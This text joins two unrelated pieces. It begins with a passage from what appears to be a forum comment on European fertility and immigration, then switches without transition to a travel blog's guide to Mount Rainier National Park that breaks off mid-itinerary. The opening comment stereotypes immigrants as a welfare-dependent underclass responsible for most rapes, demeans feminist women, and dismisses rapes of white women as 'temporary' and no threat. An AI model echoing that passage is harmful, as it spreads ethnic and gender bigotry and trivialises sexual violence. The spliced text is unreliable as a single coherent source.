(Iceland; was over 2 before the financial crisis), 1.8 (Norway), 1.73 (Finland), 1.74 (Denmark) and 1.72 (Netherlands). So the overall picture is not bad, especially if you consider some background issues. One factor to consider is the diminishing wealth of the masses in the West, which makes it harder for couples to have as many children as they desire. This also affects welfare/minority handouts. Whereas initially immigrants will take advantage of the handouts to have more children than whites, in the long run their fertility is going down because there is only so much that can be given in handouts, not to mention the increased ethnic tensions resulting from a productive majority supporting an increasing minority underclass while this underclass blames its ills on racism and discrimination. Fewer handouts will also tend to make the West less attractive to immigrants. Another factor to consider is that women less likely to give birth are disproportionately feminist or feminist-influenced. Personally, I am pleased that some of the feminist-types that I have come across have not reproduced; they will leave a better world than the one they came into. With some exceptions in Scandinavia, the feminist movement has not been favorable toward motherhood. As the feminist impact diminishes, more motherhood-friendly policies can be expected to improve fertility, assuming other things are held constant. Even in Scandinavia, the feminist impact is likely to diminish as more people realize that the movement is not exactly about women’s rights/welfare. The immigrant rape issue is a good illustration. Most of the rapes of Scandinavian women are caused by immigrants who are a numerical minority. The cultures these immigrants bring with them are also far less gender egalitarian than Scandinavian cultures. This pits the welfare of Scandinavian women against more immigration and “immigrant rights” that the feminists promote. That the feminist leadership sides with immigrant interests in this case shows that there is much more to feminism than women’s rights/welfare, and probing into the innards of feminism will bring forth unsavory facts. As far as acquiring white women by force goes, the acquisition is temporary, will rarely cause pregnancy and result in mixed-ancestry children in the extreme case of the raped woman who refuses to abort because abortion is a sin. The rapes increasingly radicalize white youth, the most fertile/soon-to-be-fertile white demographic, against immigrants, which combined with white flight from increasingly immigrant-rich cities such as Malmö, translates to no serious threat to the number of attractive Northern Europeans. This is not to say that Western nations do not face various demographic problems, but at least Northern Europeans do not face the issue that Terry brought up; most of the other demographic issues are better discussed at more appropriate websites.

Visiting Mount Rainier? In this guide we’re sharing everything you need to know before you go, including the different areas to explore, where to stay, and the best things to do at Mount Rainier, plus some itinerary options! One of our favorite things about living in Seattle was Mount Rainier. On a clear day, which is glorious in Seattle to begin with, you can see the mountain from all around the city. Anytime we’d be driving on a sunny day and I’d catch a glimpse of her, I’d gasp so loudly that Adam would think he was about to hit a squirrel. Despite our love for Mount Rainier, it took us 5 visits to the park to have a clear view of the mountain. While the mountain is absolutely majestic, it can also be fickle, so patience is key. There are many days the mountain will be covered in fog and you won’t even know it’s there. And then there are the days when you are in the city and it’s clear out, so you drive out to do an epic hike and the mountain is covered in fog by the time you get there. But after visits with rain, fog, smoke, and snow, we finally got that picture perfect experience. And it was totally worth the wait! In this Mount Rainier guide we’re sharing details about the park, the different regions you can visit, where to stay, and the best hikes and things to do at Mount Rainier National Park, plus sample itineraries to help you plan one, two, or more days at the park. We hope you fall madly in love with Mount Rainier like we have! Looking for more things to do in Washington? Check out more Washington guides: - Our 37 Favorite Hikes in Washington - Hiking the Mount Fremont Lookout Trail at Mount Rainier - Olympic Peninsula Road Trip Itinerary - 3 Days in Seattle - 6 Seattle Day Trips - A Weekend in North Cascades Mount Rainier National Park - Different regions of Mount Rainier National Park - When to visit Mount Rainier National Park - Getting to Mount Rainier National Park - Getting around Mount Rainier National Park - Where to stay at Mount Rainier National Park - Things to know before you visit Mount Rainier National Park - Things to do at Mount Rainier National Park - Suggested Itineraries for Mount Rainier Rainier National Park Sitting at 14,410 feet, Mount Rainier is the 6th tallest mountain in the lower 48 states and not only the highest point in the Cascade Range, but also in Washington. The mountain is home to 25 major glaciers and is considered an active volcano, but thankfully it hasn’t erupted in 1,000 years. On March 2, 1899, Mount Rainier became America’s 5th national park and is one of the three National Parks in Washington, along with Olympic National Park and North Cascades National Park. While the park is definitely famous for the gorgeous peak, Mount Rainier National Park has over 260 miles of maintained trails throughout the park through old growth forests, river valleys, and high subalpine meadows. We have always been so surprised by the diverse scenery and hikes, which are almost equally as gorgeous as seeing the mountain itself. Note: it costs $30 per vehicle ($25 for motorcycles) to enter Mount Rainier National Park, which covers 7 days. However, we highly recommend getting the America the Beautiful pass, which is $80 per year and will get you into any National Park, monument, or forest for free. Different regions of Mount Rainier National Park Mount Rainier National Park is approximately 369 square miles in size and is made up of 5 developed areas to explore. Each area is home to tons of great hikes, visitor centers, and views. Below is insight into each area, including where they are located, some highlights of the area, and important things to know before visiting. We will also be breaking down future sections of this guide by region to make it easier for planning! Paradise (South side) Paradise, which is located on the southern slope of Mount Rainier, is the most popular area of the park. The area is known for great views of meadows, mountains, wildflowers, and of course, epic views of Mount Rainier! It’s one of the snowiest places on Earth where snow is measured, with about 643 inches of snow per year (fun fact: we visited in July and there was still TONS of snow!) and is the prime winter use area of the park, with snowshoeing, skiing, and tubing being popular. Sunrise (Northeast corner) Sunrise, which is in the northeast corner of the park, is the highest point in the park that can be reached by car at 6,400 ft and the second most visited area. You enter this area from the White River entrance. The view from this area is crazy, as you feel SO high up on the mountain, but you are still less than halfway to the top. Due to winter conditions, this area of the park is usually only open from late June to late September or early October. Longmire (Southwest corner) Located in the southwest corner of the park is Longmire, which is home to both the park’s original headquarters, built in 1899, and the current headquarters, built in 1930. This area is open year round and is where you would begin your journey up to the Paradise area of the park. You enter Longmire through the Nisqually entrance of the park. Carbon River & Mowich (Northwest corner) The Carbon River and Mowich area of the park, located in the northwest corner, is home to an inland temperate rainforest, the lowest elevation glacier in the lower 48, and the largest and deepest lake in the park. This area of the park is only open to bicycle and foot traffic. The Carbon River portion of this region is mostly snow free and open year round, while the Mowich area is open mid-July to mid-October. Ohanapecosh (Southeast corner of the park) Ohanapecosh (pronounced oh-ha-nah-pa-cosh) is named for a Taidnapam (Upper Cowlitz) Indian habitation site and the name means “standing at the edge.” This region is located on the east side of the park and is home to a lot of old growth forests. While it doesn’t have as many epic mountain views as the other regions, it is still incredibly beautiful, with waterfalls, rivers, and gorgeous trails. Ohanapecosh is often sunnier and drier, making it a good option if the weather in the other regions is less ideal, however it is closed in the winter. When to visit Mount Rainier National Park If you want to get the full Mount Rainier National Park experience, the best time to visit would be from June to October, which is what this guide will focus on. During this time you will get some combination of summer warmth, wildflowers, lingering snow on the ground, some cool temperatures in the mornings and evenings, and the highest probability of clear days to view the mountains. Visiting Mount Rainier in the Summer If you do visit in the summer, be prepared to see larger crowds. With so much of the park closed in the winter, the window to enjoy the park at its best is very short and with 1.5 million visitors a year, you can expect a good amount of people. However, arriving very early, around sunrise, or going during the week will increase your chances of solitude. One important thing to know is that depending on which area you’re visiting and the weather conditions, there can be snow until late July and starting again in September, so please keep an eye on the current conditions and any closures here. Visiting Mount Rainier in the Winter Winter is another popular time to visit the park, especially the Paradise section, which is generally open throughout the winter months of December to mid-March. While most of the park may be inaccessible due to snow covered roads, they typically keep the road to Paradise clear so people can enjoy winter activities, such as snowshoeing, cross country skiing, sledding, skiing, snowboarding, and snowmobiling. If visiting in the winter, you may need tire chains to travel safely in the park. Make sure to check if they are required when you visit. Visiting Mount Rainier in the Spring or Fall Spring and fall can also be fun times to visit Mount Rainier depending on the year’s snowfall. Keep an eye on the current conditions to see what all is open if you decide to visit between March-June and September-November. Getting to Mount Rainier National Park If visiting from outside of Washington, Seattle Tacoma International Airport (SEA) is the main airport in Western Washington and the best airport to fly into to visit Mount Rainier. Here is how far you can expect to drive to different areas of the park from the airport. To Carbon River and Mowich: 1-1.5 hours To Longmire: 1.5-2 hours To Ohanapecosh: 2 hours To Paradise: 2-2.5 hours To Sunrise: 2-2.5 hours Getting around Mount Rainier National Park Unlike some of the National Parks, Mount Rainier National Park does not have a shuttle, which means that you will need a car to get around. Visiting from out of town? You can rent a car either upon landing at SeaTac or try to find cheaper rates in the Seattle area. Where to stay at Mount Rainier National Park There are quite a few options when it comes to where to stay at Mount Rainier. From campgrounds in the park, cabins and Airbnbs nearby, national park managed lodges, free campsites, and more, we’re covering quite a few options below, organized by region and type. Want to just do a day trip from Seattle? We are also including a few lodging options in Seattle as well! Make sure to check out our 3 Days in Seattle guide for things to do!%!) Paradise Lodging is very limited at Paradise, with your only true option being the Historic Paradise Inn, which is right by the Paradise Visitor Center and close to so many hikes! This inn was built in 1916 and is recognized as one of the “Great Lodges of the West.” There are no TVs, internet, or phones, so it’s truly an escape into nature. Sunrise Sunrise offers a handful of lodging options, ranging from campgrounds, cabins, and a resort. This is one of the best bets if you want to stay super close to the park. Campgrounds White River Campground Located right by the Sunrise Visitor Center, this is a great spot to call home if you want to hike some of the top trails in the park! Price: $20 Open: late June to late September # of sites: 112 (map) RV spots: Yes Toilet: Regular Reservations?: Unfortunately not, it’s first-come, first-served Silver Springs Campground Located 7 miles north of the White River entrance, which is the entrance for the Sunrise area, this campground is great for tents and RVs and close to lots of hikes. Price: Starts at around $25, with price increases for holidays and larger sites Open: late May to mid September # of sites: 56 RV spots: Yes, but there is no electric Toilet: Regular Reservations?: Yes, you can reserve here. The Dalles Campground The Dalles campground is 13 miles north of the White River entrance, which takes you to Sunrise. This campground has some waterfront sites too! Price: Starts at around $22.75, with price increases for holidays and larger sites Open: late May to mid September # of sites: 45 RV spots: Yes, but there is no electric Toilet: Vault Reservations?: Yes, you can reserve here. Ranger Creek Airstrip We stayed at this FREE campground after doing a sunset hike at Sunrise. It had a lot of spots and even on a Friday night in July we were able to snag one. Some report that it gets busy and loud, but we didn’t have any issues. There are some pit toilets here and you get to watch small planes land and take off! Hotels Alta Crystal Resort at Mount Rainier: This resort right by Mount Rainier offers spacious suites and if you visit in the winter, great skiing! In the summer, you can take their gondola to the top to see epic views of the mountain. They also offer winter RV parking for those in RVs. Rentals Alpen Bliss Chalet: This 3 bedroom, 2 bathroom house is good for larger groups, but a bit pricey. Longmire Longmire, and the nearby Ashford, will be your best bet when it comes to finding accommodations, with lots of Airbnb options, different campgrounds close by, and hotels. Campgrounds Cougar Rock Campground The Cougar Rock Campground is located near Longmire and close to popular hikes both in Longmire and Paradise. Price: $20 Open: late May to late September # of sites: 173 (map) RV spots: Yes, but there is no electric Toilet: Regular Reservations?: Yup! You can reserve in advance here for late June- early September. Big Creek Campground This campground is located 6 miles from the park entrance and 21 miles from the town of Ashford, where you can get any amenities you might need. Price: $20 Open: late May to mid October # of sites: 29 RV spots: Yes, but only up to 22 ft and there is no electric Toilet: Vault Reservations?: You can reserve in advance here. Sahara Creek Horse Camp: We stayed at this FREE campground (with a Discovery Pass, which is $30 a year and worth it if you spend time in WA). We snagged a spot on a Saturday in the summer no problem and it was very peaceful. There are some vault toilets here! Hotels Paradise Village Hotel & Restaurant: This hotel has super nice rooms, cabins, and property and is close to the Longmire area of the park. National Park Inn: This 25 room inn is managed by the National Park Service and similar to the Historic Paradise Inn, there are no TVs, internet, or phones. Nisqually Lodge: Located in Ashford, very close to the Longmire (Nisqually) entrance, this lodge has free Wi-Fi, flat-screen TVs, coffeemakers, minifridges and microwaves, as well as free breakfast. Rentals Fillmore’s Landing: A 1 bedroom, 1 bathroom super cute cabin (with a hot tub!) that sleeps 6. Nugget’s Tiny Home: An adorable tiny home perfect for 2! Little Blu A-Frame: A very nice A-Frame cabin that can sleep 3. Elkhorn Cabin: A 1 bedroom, 1 bathroom cabin with a fire pit. Graham’s Get-Away: A HipCamp cabin that sleeps 6. Ohanapecosh With camping and less rugged accommodations in nearby Packwood, there is something for any comfort level in the Ohanapecosh area of the park! Campgrounds Ohanapecosh Campground This is one of the park’s official campgrounds and is a great home base for some of our favorite easy hikes, Grove of the Patriarchs and Silver Falls. It’s also an hour drive to the top of Sunrise! Price: $20 Open: late May to late September # of sites: 188 (map) RV spots: Yes, but there is no electric Toilet: Regular Reservations?: Yup! You can reserve in advance here for late June- early September. La Wis Wis Campground Located about 12 miles south of the Ohanapecosh Campground, this is a good option if you cannot get a campsite at Ohanapecosh. Price: $22 Open: late May to late September # of sites: 122 RV spots: Yes, in the Hatchery loop, but there is no electric Toilet: Vault Reservations?: Yup! You can reserve in advance here. Hotels Cowlitz River Lodge: It’s not super fancy, but if you don’t want to camp, this is your best bet for a hotel in the area. Rentals Knotty Cedars Retreat: This beautiful A-Frame has 2 bedrooms, 1.5 baths, and a fire pit. Cozy River Cabin: Cabin with a VIEW! This 1 bedroom, 1 bathroom A-Frame has super epic scenery. Millard’s Cabin: This cabin is gorgeous inside and has a hot tub! And with 2 bedrooms, you can bring friends to enjoy it. Carbon River & Mowich Lake This region of the park is the closest to Seattle (and Tacoma), so if you only plan to explore this area of the park, you could get by with just a day trip. However, if you want to stay the night, here are two campground options. Mowich Lake Campground Mowich Lake is the fourth campground managed by Mount Rainier National Park, but is the trickiest to access and offers the least amount of spots. But we hear it’s gorgeous and if you can get a spot, which is first-come, first-served (and free!), it’s worth it to be in this area for the night. Price: free, minus a bumpy drive in! Open: early July to early October # of sites: 13, which are all walk-in, primitive sites, which means you park away from the site and have to walk to it. RV spots: RVs are not allowed Toilet: Vault Reservations: No No fires allowed Evan’s Creek Campground This campground is located in the Mount Baker-Snoqualmie National Forest and offers cheap first-come, first-served campsites. Price: $5 or free if you have a Northwest Forest Pass or National Parks Pass Open: Opens in April # of sites: 41 RV spots: May be trickier for RVs, no electric Toilet: Vault Reservations: No Stay in Seattle! Depending on where you visit in the park, Seattle can be a great home base, especially if you’re just doing a day trip. Here are a few of our favorite Airbnbs around Seattle, but for more ideas, check out our 3 Days in Seattle guide! - Option 1: A studio in a private guest cottage - Option 2: A cozy 1 bedroom, 1 bathroom apartment in Upper Queen Anne - Option 3: A 2 bedroom, 1 bathroom apartment in Upper Queen Anne with a balcony - Option 4: A super cute tiny house - Option 5: A 1 bedroom, 1 bathroom apartment close to the heart of Ballard - Option 6: A 1 bedroom, 1 bathroom apartment with a home gym - Option 7: A 1 bedroom, 1 bathroom cottage loft - Option 8: A super charming 1 bedroom, 1 bathroom guest suite Things to know before you visit Mount Rainier National Park Before you visit Mount Rainier mountain lion) aware. Black bears and mountain lions both call Mount Rainier home. While attacks are very uncommon, there is a chance you may see a bear (mountain lions are much less likely), so we’d suggest learning what to do in case you do encounter one. - Pack food and water. There aren’t a ton of food options near the park, so make sure to pack meals to enjoy during your hikes! If you start near visitor centers, they will have water fountains, but if not, make sure you have enough water on you, or a water filter in case you need to fill up in a stream. - Dogs are not allowed! Just like the other National Parks, dogs are not allowed outside of parking areas and campgrounds at Mount Rainier. Traveling with your dog? Learn what we do with Kona if she cannot join us during our travels. - Download maps beforehand. With little to no service in the park, we highly recommend downloading AllTrails maps before you go. You will need an AllTrails Pro membership to do so, which is $30 a year and so worth it! Things to do at Mount Rainier National Park With 5 areas of the park to explore, there are so many things to do at Mount Rainier, including both short hikes, longer hikes, and quick stops on the side of the road. We’re listing all of our top suggestions below, sorted by region of the park, and with asterisks by our must-do options to help you in case you’re having a hard time deciding. Make sure to keep scrolling to see some of our itinerary suggestions as well! We recommend checking AllTrails and the Washington Trails Association before your trip to see current trail conditions and reviews. Paradise Nisqually Vista Trail Miles (round trip): 1.1 miles Elevation: 180 ft Trail map & current condition As the name implies, this trail leads you to an up close view of the very much receded Nisqually Glacier. The trail leaves from the Paradise Inn and is a great option for snowshoeing if you visit in the winter! Skyline Trail* Miles (round trip): 6 miles Elevation: 1,794 ft Trail map & current conditions The Skyline Trail is a loop trail (you can go clockwise or counter clockwise) and acts as a main hub for hiking out of the Paradise area. This is one of the most popular spots in the park, if not the most popular. There are many trails that branch off of the Skyline Trail, so it may be wise to pop into the visitor center to grab a map! This hike will take you through some beautiful areas including Panorama Point where you can see marvelous views of many large mountains and the Paradise Valley. Along the way back you will also encounter the Stevens Van Trump Historical Monument (which honors the first documented ascent of Rainier), Sluiskin Falls, and Myrtle Falls. Pinnacle Peak Saddle Trail Miles (round trip): 2.4 miles Elevation: 1056 ft Trail map & current conditions The Pinnacle Peak Saddle Trail is a great bang for your buck hike including views of Mount Rainier, Mount Adams, the Nisqually River Valley, and Reflection Lake. You’ll get a good leg burn, but it’ll surely be worth it! Bench & Snow Lakes Trail Miles (round trip): 2.7 miles Elevation: 498 ft Trail map & current conditions This trail is home to two beautiful lakes with a low amount of mileage. You will first reach Bench Lake after about 0.8 miles then hike up for around 0.4 more miles to reach Snow Lake. Narada Falls Trail Miles (round trip): 0.2 miles from the parking lot, 2.4 from Paradise Inn, and 3.6 from Reflection Lake Elevation: ~100 feet from the parking lot, 862 ft from Paradise Inn, and 931 ft from Reflection Lake Trail map & current conditions (Parking Lot) Trail map & current conditions (Paradise Inn) Trail map & current conditions (Reflection Lake) Make sure to stop off for a look at the “pure” waters of Narada Falls. The powerful waterfall’s name is a Hindu word meaning “pure” or “uncontaminated.” Along this trail there are several viewpoints, but make sure to go all the way to the bottom to marvel at its full power! Be careful though, the walk down will be slick and you may catch some mist! You can hike to this from the Paradise Inn, Reflection Lake, or there is a large parking lot right next to the trailhead that will leave you with a 5 minute descent. Skyline Trail to Myrtle Falls* Miles (round trip): 1 mile Elevation: 160 ft Trail map & current conditions Follow the Skyline Trail from the Paradise visitors center area for a beautiful look at Myrtle Falls. When we visited in July, they were still covered in snow, so make sure to check the conditions beforehand so you can make sure you’ll actually get to see the falls! Deadhorse Creek Trail & Moraine Trail Miles (round trip): 2.2 miles Elevation: 725 ft Trail map & current conditions The Deadhorse Creek Trail is a short, but steep hike to see beautiful mountain views and the Nisqually Glacier valley. If you want to continue the adventure, the Deadhorse Creek Trail connects with the Moraine Trail for another 2.5 miles and 629 ft to gain, which leads you to the Nisqually River valley and what remains of the Nisqually Glacier. Things to see from the car Paradise Valley Road The Paradise Valley Road is a one-way, 2.2 mile scenic drive that starts at Paradise Inn and connects to Stevens Canyon Road, giving you gorgeous views of Rainier’s south side! Winter tip: The road is great for snowshoeing and perfect if you’re a cross country skier. There is loads of snow and it is nicely graded for a smooth ride! If you decide to ski or snowshoe you can rent gear in nearby towns or at the Longmire General Store. Inspiration Point This is a large pullout and wayside on Stevens Canyon Road with a beautiful view of Mount Rainier and the Tatoosh Range. Park visitors have been taking advantage of this view since the early 1900s! Reflection Lake Reflection Lake can actually be called Reflection Lakes because there are several that make up this area. This is a very popular stop in the park along Stevens Canyon Road, so if you visit make sure to pack some patience when searching for a parking spot. The best time of day to visit is the early morning or evening when the winds are calm and the water is still allowing you to see the reflection more clearly. Longmire Comet and Christine Falls* Miles (round trip): 4.4 miles Elevation gain: 1,361 ft Trail map & current conditions This trail follows Van Trump Creek up to Comet Falls, a gorgeous two tiered 380 foot waterfall! Christine Falls is actually best seen on Paradise Valley Road. If you didn’t see it on your drive in, you can see it if you turn right out of the trailhead parking lot after your hike, or you can see it from above on the trail after the first third of a mile. Look down the hill at Paradise Valley Road below to see Christine Falls. As a bonus, if you want to continue this hike to get great views of Mount Rainier, at the junction to reach Comet Falls, take the steep path to the right up to Van Trump Park. Rampart Ridge Miles (round trip): 4.8 miles Elevation gain: 1,417 ft Trail map & current conditions The Rampart Ridge Trail begins across the road from Longmire building complex and takes you through thick forest with tons of old Evergreen trees to an in your face view of Mount Rainier. You will start on the Trail of the Shadows and then come to a junction where the Rampart Ridge Trail begins. Take this trail and get ready to climb the switchbacks. After the trail crests the hill, you will get your view of Mount Rainier, the Kautz glacier, and a few other glaciers! It is a steady climb for the first 2 miles then a gentle downhill slope back to the beginning. High Rock Lookout Miles (round trip): 3.1 miles Elevation: 1,318 ft Trail map & current conditions While not actually in the park, this hike still has incredible views of Mount Rainier and a cool fire lookout to check out! And bonus, since it’s not in the park, it’s dog friendly! Eagle Peak Saddle Miles (round trip): 7.2 miles Elevation: 3,054 ft Trail map & current conditions This hike provides all the ingredients for a classic experience. Alpine meadows, old growth forest, and multiple spectacular mountain views of Adams, St. Helens and Rainier, are all aplenty here! When you get to the crest of the trail, keep following the path to the right to find a bench to take in the views of Mount Rainier! You can summit Eagle Peak, but it is a class IV climb and scrambling knowledge and expertise are required. The hike is quite the challenge, but you will be rewarded handsomely! Sunrise Tipsoo Lake Miles (round trip): 0.8 miles Elevation: 39 ft Trail map & current conditions This is a beautiful 0.8 mile easy walk around the subalpine lake. It is too easy and beautiful to pass up, especially if you’re short on time or need a break from more difficult hikes. Naches Peak Loop Trail* Miles (round trip): 3.3 Elevation: 636 ft Trail map & current conditions Remember that majestic but fickle note we made at the beginning? This was our first ever hike at Mount Rainier and let’s just say we were greeted with complete whiteout conditions upon our arrival. But since we made the trek to the park, we decided to go for it anyways. After zero views during the hike, we got back to the car defeated, but to our surprise, the weather cleared up, so we did the hike for a second time! And it was worth it! We recommend doing the hike clockwise for the best views. And since this is one of the more popular trails in the park, make sure to arrive early. If you go in late summer or early fall, be on the lookout for huckleberries to snack on! Crystal Lakes Trail to Sourdough Gap Miles (round trip): 7.4 Elevation: 2,913 ft Trail map & current conditions You have several viewpoints and attractions to experience on this hike. There are 2 alpine lakes, a gap in the mountains, and an optional peak where you can see 5 volcanoes on a clear day! The Crystal Lakes Trail takes you first to a small lake that is only 100 yards off the trail, then to the larger Crystal Lake. Once you reach this lake, continue along its left side to Sourdough Gap for epic views of the lake and Mount Rainier posing between two peaks! If you’re feeling extra energized for more views, retrace your steps from the gap and lakes to about a mile before the trailhead and take a left onto the Crystal Peak Trail. This will add about 5 miles to your trip bringing you to around 12+ miles for the day! Follow this to reach Crystal Peak which was once the site of an old fire lookout. Make sure to start early if you’re planning to hike to the peak to avoid getting beaten by the sun, as the trail is mostly exposed. Wonderland Trail to Camp Summerland & Panhandle Gap Miles (round trip): 10.1 miles Elevation: 2,595 ft Trail map & current conditions Beautiful meadows, two lakes, wildlife, wildflowers, glaciers, and mountains all await you on this popular hike, what more could you want?! If you go during peak season, make sure to get an early start to this one to avoid crowds and heat. Mount Fremont Lookout Trail* Miles (round trip): 5.7 Elevation: 1,151 ft Trail map & current conditions This trail quite possibly has the biggest bang for the buck and ranks as one of our favorite hikes ever! Read our detailed guide on how to hike the Mount Fremont Lookout Trail You start this hike at the Sunrise Visitor Center, where hopefully it’s a clear day and you’ll already have great views of the mountain. You’ll take the trail to the right of the visitor center and begin your climb to the top. Along the way, you’ll have gorgeous Rainier views, as well as views of the surrounding mountains, meadows, and even a little lake. After splitting off the trail, which continues to some other hikes, you’ll begin a rockier climb to reach the fire lookout, where you’ll be nose to nose with the mountain. It’s such an EPIC view! The fire lookout is a popular spot to hang out, but there are also some rocky areas you can sit and enjoy the view if the lookout is busy. We’d highly recommend doing this hike for sunset, where you’ll get to see the alpenglow on the mountain. It’s truly breathtaking! The hike down is gentle, well marked and there will most likely be others with you. Just don’t forget your headlamp! One thing to note: despite it being super clear when we started the hike, during our hike and while sitting at the top, the clouds came and covered Rainier quite a few times. We thought we would get unlucky once again, but the clouds cleared for sunset and we got a super cool cloud inversion. So try to come on a clear day, but don’t give up hope if it does get cloudy off and on! Burroughs Mountain Trail* Miles (round trip): 9.4 miles Elevation: 2,562 ft Trail map & current conditions Bring plenty of water, sunscreen, and be ready to say “wow!” a ton! The Burroughs trail begins from the northwest corner of the Sunrise parking lot. Even in the early summer there is often snow on the way to the First Burroughs. This section of snow can be steep, so be sure to assess the situation carefully and if you don’t feel comfortable save it for later in the year (or bring spikes!). The First Burroughs is a flat and open landscape. Enjoy this view then continue on to the Second Burroughs, which is often a turnaround point for many hikers. This spot provides views of the Glacier Basin, Mount Rainier, Little Tahoma, Fremont Lookout and other notable areas of the park. After the Second, continue on to the Third Burroughs for up close and personal views of Rainier! Have a snack or lunch here on the many big, flat rocks available. Sunrise Nature Trail Miles (round trip): 1.5 miles Elevation: 370 ft Trail map & current conditions The Sunrise Nature Trail is a great short little hike that starts at the Sunrise parking lot. This trail features great views of the mountains and if you time it right, tons of wildflowers in the Sunrise Valley! Carbon River & Mowich Tolmie Peak Trail* Miles (round trip): 6.4 miles Elevation: 1,522 ft Trail map & current conditions If you’re looking for a hike with outrageous views of Rainier, a fire lookout, and alpine lakes, definitely add Tolmie Peak to your list! After parking, you begin the trail by climbing up to Eunice Lake, continue around the hill behind it, and then up to the Tolmie Peak fire lookout. At the top, you will have views of the lake below and a picture perfect view of Mount Rainier. We hiked this a couple summers ago and unfortunately had wildfire smoke that obstructed our view, but even so, it was a gorgeous hike and we could kind of, sort of make out Rainier. We can’t even imagine how gorgeous it would be on a clear day! Note: The road to the trailhead closes seasonally due to snow and this adds a 5 mile walk to the trailhead. So check in advance to avoid extra mileage! Summit Lake* Miles (round trip): 5.7 miles Elevation: 1,443 ft Trail map & current conditions While this hike is not technically in the park, it is close enough to this area, has great views of Mount Rainier, and is one of the only hikes you can bring your dog, so we’re including it anyways! Hopefully you will have better luck than we did on this hike! We drove out to this hike hoping to see a nice sunset. We got to the trailhead and it was completely covered in fog. This was frustrating, since getting to the trailhead requires a drive down probably the worst road we have ever driven on. So we told ourselves “maybe it’ll be clear at the end!” so we hiked to the end and…there were no views to be had! But the pictures look amazing! If you’re willing to drive the dirt road (it is brutal, but doable) and catch it on an at least semi clear day, it looks great! Green Lake Miles (round trip): 9.1 miles Elevation: 1,469 ft Trail map & current conditions If you decide your car cannot make the drive up to Summit Lake, this is a good Plan B! Take the Carbon River Road trail to the Green Lake trail to see a gorgeous lake, surrounding mountains, tons of green trees, and a short detour to a waterfall called Ranger Falls. While there are no Rainier views, it’s still a great hike! Spray Park Trail to Mount Pleasant Miles (round trip): 6.9 miles Elevation: 2,086 ft Trail map & current conditions Make sure to bring your SUV for this road to the trailhead. The dirt road is very bumpy and you’ll need to take it slow. You will find the trailhead to the left of the toilet at the Mowich Lake walk-in campground. After about 1.4 miles in, you will come to the Eagle Cliff Lookout where you can quickly get a full on peak at Mount Rainier. Continue on the trail for another 0.6 miles and you’ll reach Spray Falls. Have a snack here and get ready to steadily climb up to Mount Pleasant…you’ll be glad you did! Carbon Glacier Miles (round trip): 18.9 miles Elevation: 2,112 ft Trail map & current conditions While this trail looks to be quite the commitment, it seems to be well worth it. The trail begins at the Carbon River Park Entrance and the first 5 miles are along the road. The road is closed currently to vehicle traffic due to flooding damage. Many hikers choose to bike this portion, but be aware bikes are not allowed past the Ipsut Creek Campground. Included in this hike are log bridges, the Carbon River, a suspension bridge across the Carbon River (make sure not to cross it), and the lowest elevation glacier in lower 48! At the end of the trail, please stay on the constructed trail to view the glacier, as rock fall from the glacier is possible. Ohanapecosh Grove of the Patriarchs Trail* Miles (round trip): 1.2 miles Elevation: 45 ft Trail map & current conditions Grove of the Patriarchs is an easy trail that takes you by 1,000, yes we said ONE THOUSAND, year old Cedar and Douglas Fir trees. The forest is so green and lush and along the trail you’ll cross a cool suspension bridge over a gorgeous glacial river to an island of more incredible trees. While there are no Rainier views, it’s still a stunning hike and shows you a different type of scenery in the park. It is also great for a wide range of ability levels and has many informative placards about the area that Adam loved. Silver Falls Trail* Miles (round trip): 4 Elevation: 705 ft Trail map & current conditions What a fun and gorgeous hike this is! Similar to the Grove of the Patriarchs, it doesn’t have Rainier views, as it’s a forested hike, but there are still so many beautiful views. It felt like every few hundred feet or around every bend there was another cool view to see! The water, which is run off from the Ohanapecosh Glacier and is super blue, rushes through small openings in the river which creates some powerful and loud waterfalls. We didn’t see all of this hike or follow it according to what AllTrails suggests, as we started from the parking lot for the Grove of the Patriarchs. We are pretty sure we did it sort of backwards, but what we saw was epic! It is a great hike through the old growth forest for a wide range of ages and ability levels. We didn’t initially plan to do this hike, but we are so glad we did, it was such a pleasant surprise! There are 3 options of varying length to get to this beautiful waterfall: State Route 123– 0.6 miles Stevens Canyon Road– 1.2 miles Ohanapecosh Campground– 2.7 miles Shriner Peak Lookout Trail Miles (round trip): 7.5 Elevation: 3,356 ft Trail map & current conditions Shriner Peak Lookout Trail is long, steep, and exposed hike, making it extra tough in the warmer months, so this trail is ideal in the fall with cooler temperatures. After 2.5 miles you will start to get views of Mount Rainier with its hillsides covered in wildflowers and fall colors. At the top, you’ll not only find fantastic views of many major landmarks including Mount Rainier, Little Tahoma, Mount Adams, and Mount St. Helens to name a few, but you’ll also get the chance to visit a historic fire lookout. Make sure to bring lots of water. The trail is steep and exposed and there aren’t many, if any, water sources along the way . Have 10 days in the park? Wonderland Trail Miles (round trip): 96.2 miles Elevation: 25,341 feet Trail map & current conditions The Wonderland Trail is a trail that circles Mount Rainier. This is obviously not a day hike and requires getting a permit to hike, which can be very difficult to obtain. Most people take at least 10 days to complete this trail. This is definitely on our backpacking bucket list….one day! Suggested Itineraries for Mount Rainier National Park Now that you have an idea about the different areas of the park, some ideas where to stay, and a list of things to do, here are a few suggestions of how you can plan the perfect experience at the park, combining as many of the highlights as possible. Use these options to plan 1 day in the park, or combine multiple to have a great few days in the park! Option #1 This itinerary option will give you a great taste of what the park has to offer, from gorgeous forests, waterfalls, and epic views of Mount Rainier. - Start the morning off by hiking to the Grove of the Patriarchs in the Ohanapecosh section of the park. - Continue exploring this area of the park by hiking to Silver Falls. - Drive up to the Sunrise area of the park (about a 1 hr drive) to hike to the Mount Fremont Lookout. We highly recommend this for sunset! An alternative option is to hike the Naches Peak Loop, which is a 30 minute drive from Silver Falls and has beautiful views of Rainier, as well as surrounding mountains. Total miles hiked: 10.9 miles with Mount Fremont or 8.5 with Naches Peak. Option #2 This itinerary is all about the epic Rainier views on the east side of the park! With two epic hikes, prepare to be WOWed! - Start the day with a 3.3 mile hike on the Naches Peak Loop, where you’ll see lakes, mountains, and Rainier. - Drive up to the Sunrise area of the park (about 45 minutes away) and do the Burroughs Mountain Loop for close up views of Rainier. Total miles hiked: 12.7 Option #3 This itinerary is perfect to explore the Paradise area of the park! - Make the scenic drive from Longmire to Paradise. Make sure to grab some coffee along the way from one of the roadside stands (a classic Washington experience)! - On your way up to Paradise, hike to Comet and Christine Falls. - Take in the views on the rest of the drive up to Paradise, stop in the visitor center, and begin your hike on the Skyline Trail, which stops at the iconic Myrtle Falls as well! - Drive a bit east from Paradise to check out Reflection Lake, which is the perfect spot to relax after your hike. - If you have time on the drive back, stop at Narada Falls for a quick glimpse at this gorgeous waterfall. Total miles hiked: 10.6 Option #4 This itinerary combines Paradise and 